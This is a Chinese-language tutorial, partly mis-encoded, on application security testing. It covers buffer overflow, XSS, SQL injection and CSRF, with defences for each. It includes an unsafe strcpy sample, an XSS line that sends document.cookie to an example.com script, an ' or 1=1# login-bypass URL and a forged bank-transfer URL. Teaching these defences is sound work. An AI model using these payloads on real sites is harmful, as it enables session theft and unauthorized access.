????????安全測試是指有關(guān)驗證應(yīng)用程序的安全等級和識別潛在安全性缺陷的過程。應(yīng)用程序級安全測試的主要目的是查找軟件自身程序設(shè)計中存在的安全隱患，并檢查應(yīng)用程序?qū)Ψ欠ㄇ秩氲姆婪赌芰Α?/p>
一些常見的軟件安全問題有：
? 緩沖區(qū)溢出
? SQL注入
? 跨站腳本攻擊
? 跨站請求偽造
? SSL協(xié)議攻擊
緩沖區(qū)溢出
???????? 緩沖區(qū)溢出是向程序緩沖區(qū)編寫超過其長度的內(nèi)容造成緩沖區(qū)的溢出，從而破壞程序的堆棧，使程序轉(zhuǎn)而執(zhí)行其他指令，以達到攻擊目的。
???????? 造成溢出的原因是程序中沒有仔細檢查用戶輸出的參數(shù)，如下代碼
void mytest(char*str){
Char buffer[100];
Strcpy(buffer,str);
}
void mytest2(){
????//validate useraccount function code
}
???????? 如果str的長度大于100B，會填滿buffer字符串，并且繼續(xù)覆蓋本地變量的值，可能會覆蓋mytest的返回地址，并進而覆蓋函數(shù)mytest2()執(zhí)行代碼的內(nèi)容，造成buffer的溢出使程序運行出錯。如果覆蓋了account驗證的函數(shù)，黑客就可能獲得訪問系統(tǒng)的權(quán)限。
跨站腳本（XSS）
????????漏洞是指web應(yīng)用程序從惡意用戶得到輸入，不用驗證就直接回顯。如果這種回顯由惡意的可被瀏覽器解析的腳本代碼生成，一旦受害瀏覽器單擊了包含回顯的鏈接，則受害瀏覽器將會執(zhí)行這些惡意代碼，從而受到攻擊。
如：
XSS涉及攻擊者將惡意代碼插入到網(wǎng)站中，網(wǎng)站通常會展示很多的由不同用戶自己創(chuàng)建的內(nèi)容，如用戶自己編寫文章，發(fā)表評論，上傳圖片視頻或數(shù)據(jù)來源自第三方網(wǎng)站等。然而這些數(shù)據(jù)無法完全控制，是不可信任數(shù)據(jù)，需要小心對待。這是因為惡意代碼通常是HTML和JavaScript的混合，一旦觸發(fā)XSS攻擊，可以讓攻擊者獲取如下信息
? DOM信息
? 網(wǎng)站的cookie
? 回話令牌：登錄網(wǎng)站時，用以區(qū)分和其他用戶的信息
這些信息可能使得攻擊者獲取用戶賬號信息。如
<script>var adr=’http://example.com/xss.php?cookie=’ + escape(document.cookie);<script>
上述代碼將cookie信息保存在一個變量中，這個變量可能會被發(fā)送到第三方服務(wù)器。任何來自不可信來源的HTML都會給網(wǎng)站帶來XSS攻擊的風(fēng)險，不過威脅來自一些特定的字符。
防范XSS攻擊的方法主要是校驗提交到服務(wù)器上的數(shù)據(jù)。
這就要求對用戶的輸入進行過濾和校驗，最基本的防御策略是當(dāng)用戶需要提供特定類型的信息時，阻止用戶在表單字段中輸入那些非必須的字符（如不少網(wǎng)站的評論區(qū)域很少允許輸入大量的標(biāo)簽，這用來防止用戶輸入一些惡意內(nèi)容，如<script>標(biāo)簽或是帶有事件處理程序?qū)傩缘膬?nèi)容）。其次采取限制用戶內(nèi)容的顯示位置，瀏覽器會使用不同的方式來處理HTML、CSS和JavaScript，每種語言中，都會有不同的字符可能造成問題，因此只應(yīng)該把來自不可信來源的內(nèi)容作為純文本而不是標(biāo)簽，顯示在可見區(qū)域的元素中。
如果需要在代碼中使用來自用戶的輸入內(nèi)容，都應(yīng)該在服務(wù)器端進行轉(zhuǎn)義（大多數(shù)服務(wù)器端語言都提供了一些輔助函數(shù)用于將惡意代碼轉(zhuǎn)義處理掉），同時控制添加到頁面上的所有標(biāo)簽（在服務(wù)器端轉(zhuǎn)義后，仍然需要把這些內(nèi)容作為純文本顯示在頁面上，如JavaScript可使用textContent，不能使用innerHTML）。
SQL注入
它是指發(fā)生于應(yīng)用程序之?dāng)?shù)據(jù)庫層的安全漏洞，是在輸入的數(shù)據(jù)字符串之中夾帶SQL命令（經(jīng)常是通過把SQL命令插入到web表單提交或輸入域名或頁面請求的查詢字符串），在設(shè)計不良的程序中忽略了檢查，那么這些夾帶進去的指令就會被數(shù)據(jù)庫服務(wù)器認為是正常的SQL指令而運行，因此導(dǎo)致破壞，這是因為用戶輸入的內(nèi)容直接用來構(gòu)造動態(tài)sql命令。
如通過URL的SQL注入：
http://localhost:1234/defualt.html?username=’or 1=1#& password=
???????? 則程序在使用這些參數(shù)的時候，合成的等效的SQL語句可能如下：
SELECT *FROMtables where username=’’ or 1=1#’ and password=’’;
因為#在mysql中是注釋符，這樣#后面的內(nèi)容將被mysql視為注釋內(nèi)容，后面就不會被執(zhí)行，而1=1恒成立，這就相當(dāng)于where條件總為真，惡意用戶雖然沒有賬號密碼，亦可以登錄網(wǎng)站。
導(dǎo)致SQL注入的根源如下：
? SQL命令可以進行查詢、插入、更新和刪除等命令的串接
? SQL命令對于傳入的字符串參數(shù)是用單引號字符所包起來的，但連續(xù)兩個單引號字符，在SQL數(shù)據(jù)庫中，則被視為字符串中的一個單引號。
? SQL命令中可以夾帶注釋（連續(xù)兩個減號字符后的文字被注解）
解決方法是采用參數(shù)化查詢
參數(shù)化查詢（parametrized query）是訪問數(shù)據(jù)庫的時候，在需要填寫數(shù)值或數(shù)據(jù)的地方，使用參數(shù)來給值。數(shù)據(jù)庫服務(wù)器不會將參數(shù)的內(nèi)容視為SQL指令的一部分來處理，而是在數(shù)據(jù)庫完成SQL指令的編譯后，才套用參數(shù)運行，因此就算參數(shù)中有指令，也不會被數(shù)據(jù)庫運行。可以理解為編譯后就建立了一個執(zhí)行計劃，然后執(zhí)行計劃根據(jù)參數(shù)值去看是否能命中記錄。
CSRF跨站請求偽造攻擊
????????CSRF（Cross-site request forgery），中文名稱：跨站請求偽造，也被稱為：one click
attack/session riding，縮寫為：CSRF/XSRF。該攻擊迫使通過驗證的終端用戶在毫無察覺的情況下向web應(yīng)用提交不必要的動作。這個請求動作不是客戶想發(fā)起的，當(dāng)對于服務(wù)器來說該請求是合法的，造成服務(wù)器完成了一個符合攻擊者期望的操作。
攻擊原理
?????? CSRF攻擊利用的是沖著瀏覽器分不清發(fā)起請求是不是真正的用戶本人，也就是說，簡單的身份驗證只能保證請求發(fā)自某個用戶的瀏覽器，卻不能保證請求本身是用戶自愿發(fā)出的。
用戶打開瀏覽器，訪問受信任的網(wǎng)站A，輸入用戶名和密碼登錄
用戶信息通過驗證后，網(wǎng)站A產(chǎn)生cookie信息返回給用戶
用戶未退出瀏覽器，在另一個Tab頁登錄網(wǎng)站B（含有指向網(wǎng)站A的鏈接）
網(wǎng)站B對用戶的請求響應(yīng)并返回一些攻擊代碼，用戶A瀏覽器在接收到這些攻擊代碼后，根據(jù)B網(wǎng)站的要求，在用戶不知道的情況下攜帶cookie信息，向網(wǎng)站A發(fā)出請求，A不知道該請求其實是B發(fā)起的，所以會根據(jù)用戶的cookie信息以用戶的權(quán)限處理該請求，導(dǎo)致來自B的惡意代碼被執(zhí)行。
預(yù)防方法
? ? 服務(wù)端的預(yù)防CSRF攻擊的方式方法有多種，但思想上都是差不多的，主要從以下2個方面入手：1、正確使用GET,POST和Cookie；2、在非GET請求中增加偽隨機數(shù)。
CSRF攻擊的檢測原則是如果一個用戶的請求是可構(gòu)造的，那么一定存在CSRF漏洞。
我們要明白，僅僅靠發(fā)起CSRF攻擊的話，黑客只能借助受害者的cookie騙取服務(wù)器的信任，但是黑客并不能拿到cookie，也看不到?cookie的內(nèi)容。另外，對于服務(wù)器返回的結(jié)果，由于瀏覽器同源策略的限制，黑客也無法進行解析。
這就告訴我們，我們要保護的對象是那些可以直接產(chǎn)生數(shù)據(jù)改變的服務(wù)，而對于讀取數(shù)據(jù)的服務(wù)，則不需要進行CSRF的保護。而保護的關(guān)鍵，是在請求中放入黑客所不能偽造的信息。
1、檢測HTTP頭部Referer信息。所謂Referer，就是在一個網(wǎng)絡(luò)請求頭中的鍵值對，標(biāo)示著目前的請求是從哪個頁面過來的。服務(wù)器通過檢查Referer的值，如果判斷出Referer并非本站頁面，而是一個外部站點的頁面，那么我們就可以判斷出這個請求是非法的。與此同時，我們也就檢測到了一次csrf攻擊。然而檢查refer信息并不能防范來自本域的攻擊，在企業(yè)業(yè)務(wù)網(wǎng)站上，經(jīng)常會有同域的web應(yīng)用程序，來自這些地方的CSRF攻擊所攜帶的就是本域的Refer信息，此時這種防御方法失效。比如某銀行的轉(zhuǎn)賬是通過用戶訪問http://bank.test/test?page=10&userID=101&money=10000頁面完成，用戶必須先登錄bank.test，然后通過點擊頁面上的按鈕來觸發(fā)轉(zhuǎn)賬事件。當(dāng)用戶提交請求時，該轉(zhuǎn)賬請求的Referer值就會是轉(zhuǎn)賬按鈕所在頁面的URL（本例中，通常是以bank. test域名開頭的地址）。而如果攻擊者要對銀行網(wǎng)站實施CSRF攻擊，他只能在自己的網(wǎng)站構(gòu)造請求(攻擊者構(gòu)造的請求地址是http://bank.test/test?page=10&userID=101&money=10000)，當(dāng)用戶通過攻擊者的網(wǎng)站發(fā)送請求到銀行時，該請求的Referer是指向攻擊者的網(wǎng)站（cookie還是銀行網(wǎng)站的cookie）。因此，要防御CSRF攻擊，銀行網(wǎng)站只需要對于每一個轉(zhuǎn)賬請求驗證其Referer值，如果是以bank. test開頭的域名，則說明該請求是來自銀行網(wǎng)站自己的請求是合法的。如果Referer是其他網(wǎng)站的話，就有可能是CSRF攻擊，則拒絕該請求。
2、在重要的請求中添加Token，目前主流的做法是使用Token抵御CSRF攻擊。CSRF攻擊成功的條件在于攻擊者能夠預(yù)測所有的參數(shù)從而構(gòu)造出合法的請求，所以我們可以加大這個預(yù)測的難度，加入一些黑客不能偽造的信息。我們在提交表單時，保持原有參數(shù)不變，另外添加一個隱藏域參數(shù)Token，該值可以是隨機并且加密的，當(dāng)提交表單時，客戶端也同時提交這個token，然后由服務(wù)端驗證，驗證通過才是有效的請求（服務(wù)器驗證token，由于黑客無法得到或者偽造token，所以能防范csrf，即無法偽造一個含有該token的表單）。但是由于用戶的Cookie很容易由于網(wǎng)站的XSS漏洞而被盜取，所以這個方案必須要在沒有XSS的情況下才安全。
3、CSRF在攻擊的時候往往是在用戶不情的情況下提交的，我們可以使用驗證碼來強制跟用戶交互，但是太多強制性的操作對用戶來說體驗感不好，所以要權(quán)衡利弊。
